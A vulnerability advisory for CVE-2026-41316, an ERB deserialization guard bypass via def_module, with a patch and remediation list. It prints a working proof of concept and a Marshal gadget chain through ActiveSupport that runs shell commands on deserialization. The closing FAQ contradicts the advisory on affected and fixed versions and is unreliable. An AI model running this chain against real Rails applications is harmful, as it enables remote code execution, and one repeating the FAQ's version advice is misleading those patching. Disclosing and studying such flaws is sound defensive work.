CVE-2026-41316: ERB has an @_init deserialization guard bypass via def_module / def_method / def_class
Summary
Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:
- ERB#defmethod - ERB#defmodule - ERB#defclass
An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#defmodule (zero-arg, default parameters) as a code execution sink, bypassing the @init protection entirely.
<details>
The @init Guard
In ERB#initialize, the guard is set:
ruby erb.rb line 838 @init = self.class.singletonclass
In ERB#result and ERB#run, the guard is checked before eval(@src):
ruby erb.rb line 1008-1012 def result(b=newtoplevel) unless @init.equal?(self.class.singletonclass) raise ArgumentError, "not initialized" end eval(@src, b, (@filename || '(erb)'), @lineno) end
When an ERB object is reconstructed via Marshal.load, @init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singletonclass cannot be marshaled, the attacker cannot set @init to the correct value, and result/run correctly refuse to execute.
The Bypass
ERB#defmethod, ERB#defmodule, and ERB#defclass all reach eval(@src) without checking @init:
ruby erb.rb line 1088-1093 def defmethod(mod, methodname, fname='(ERB)') src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.moduleeval do eval(src, binding, fname, -1) # <-- no @init check end end
erb.rb line 1113-1117 def defmodule(methodname='erb') # <-- zero-arg call possible mod = Module.new defmethod(mod, methodname, @filename || '(ERB)') mod end
erb.rb line 1170-1174 def defclass(superklass=Object, methodname='result') # <-- zero-arg call possible cls = Class.new(superklass) defmethod(cls, methodname, @filename || '(ERB)') cls end
defmodule and defclass accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.
Method wrapper breakout
defmethod wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at moduleeval time:
ruby Attacker sets @src = "end\nsystem('id')\ndef x" After defmethod transformation, moduleeval receives: def erb end system('id') <- executes at eval time def x end
---
Proof of Concept
Minimal (ERB only)
ruby require 'erb'
erb = ERB.allocate erb.instancevariableset(:@src, "end\nsystem('id')\ndef x") erb.instancevariableset(:@lineno, 0)
ERB#result correctly blocks this: begin erb.result rescue ArgumentError => e puts "result: #{e.message} (blocked by @init -- correct)" end
ERB#defmodule does NOT block this -- executes system('id'): erb.defmodule Output: uid=0(root) gid=0(root) groups=0(root)
Marshal deserialization (ERB + ActiveSupport)
When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:
ruby require 'activesupport' require 'activesupport/deprecation' require 'activesupport/deprecation/proxywrappers' require 'erb'
--- Build payload (replace proxy class for marshaling) --- realclass = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ActiveSupport::Deprecation.send(:removeconst, :DeprecatedInstanceVariableProxy) class ActiveSupport::Deprecation class DeprecatedInstanceVariableProxy def initialize(h) h.each { |k, v| instancevariableset(k, v) } end end end
erb = ERB.allocate erb.instancevariableset(:@src, "end\nsystem('id')\ndef x") erb.instancevariableset(:@lineno, 0) erb.instancevariableset(:@filename, nil)
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({ :@instance => erb, :@method => :defmodule, :@var => "@x", :@deprecator => Kernel })
marshaled = Marshal.dump({proxy => 0})
--- Restore real class and trigger --- ActiveSupport::Deprecation.send(:removeconst, :DeprecatedInstanceVariableProxy) ActiveSupport::Deprecation.constset(:DeprecatedInstanceVariableProxy, realclass)
This triggers RCE: Marshal.load(marshaled) Output: uid=0(root) gid=0(root) groups=0(root)
Chain: 1. Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key 2. Hash key insertion calls .hash on the proxy 3. .hash is undefined -> methodmissing(:hash) -> dispatches to ERB#defmodule 4. defmodule -> defmethod -> moduleeval(eval(src)) -> breakout -> system('id')
Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1
</details>
Impact Scope
Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:
- Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC - Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC - Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization
Severity justification
The @init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB defmethod/defmodule path. The defmodule bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.
This bypass renders the @init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.
<details>
Gadget chain history
Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:
| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification.load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#revparse | RubyGems 3.6 | | 2026 | ERB#defmodule @init bypass | ERB 6.0.4 |
</details>
Patches
The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.
ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4
<details>
Add the @init check to defmethod. Since defmodule and defclass both delegate to defmethod, this single change covers all three bypass paths:
ruby def defmethod(mod, methodname, fname='(ERB)') unless @init.equal?(self.class.singletonclass) raise ArgumentError, "not initialized" end src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.moduleeval do eval(src, binding, fname, -1) end end
</details>
-----
Other sources
ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#defmethod, ERB#defmodule, and ERB#defclass. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#defmodule (zero-arg, default parameters) as a code execution sink, bypassing the @init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
rubygems/erbto a version that resolves this vulnerability.Fixed in 6.0.4 - Upgrade
Upgrade
rubygems/erbto a version that resolves this vulnerability.Fixed in 6.0.1.1 - Upgrade
Upgrade
rubygems/erbto a version that resolves this vulnerability.Fixed in 4.0.4.1 - Upgrade
Upgrade
rubygems/erbto a version that resolves this vulnerability.Fixed in 4.0.3.1 - Upgrade
Upgrade
erb.gemto a version that resolves this vulnerability.Fixed in 4.0.3.1 - Upgrade
Upgrade
erb.gemto a version that resolves this vulnerability.Fixed in 4.0.4.1 - Upgrade
Upgrade
erb.gemto a version that resolves this vulnerability.Fixed in 6.0.1.1 - Upgrade
Upgrade
erb.gemto a version that resolves this vulnerability.Fixed in 6.0.4 - Configuration
Implement an `@_init` guard check in `ERB#def_method` so deserialized ERB objects cannot evaluate `@src` via `def_method`/`def_module`/`def_class` without proper initialization.
ERB @_init guard = Add the `@_init` check to `def_method`.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-41316?
CVE-2026-41316 is categorized as a moderate severity vulnerability due to the potential for unauthorized code execution.
How do I fix CVE-2026-41316?
To mitigate CVE-2026-41316, update to ERB version 2.2.0 or later to ensure the deserialization guard is effective.
What software is affected by CVE-2026-41316?
CVE-2026-41316 affects versions of ERB prior to 2.2.0, specifically those in Ruby 2.7.0 and earlier.
What is the nature of the vulnerability in CVE-2026-41316?
CVE-2026-41316 involves a bypass of the @_init instance variable guard, allowing for the potential execution of arbitrary code.
When was CVE-2026-41316 disclosed?
CVE-2026-41316 was disclosed following the publication of ERB 2.2.0 on rubygems.org.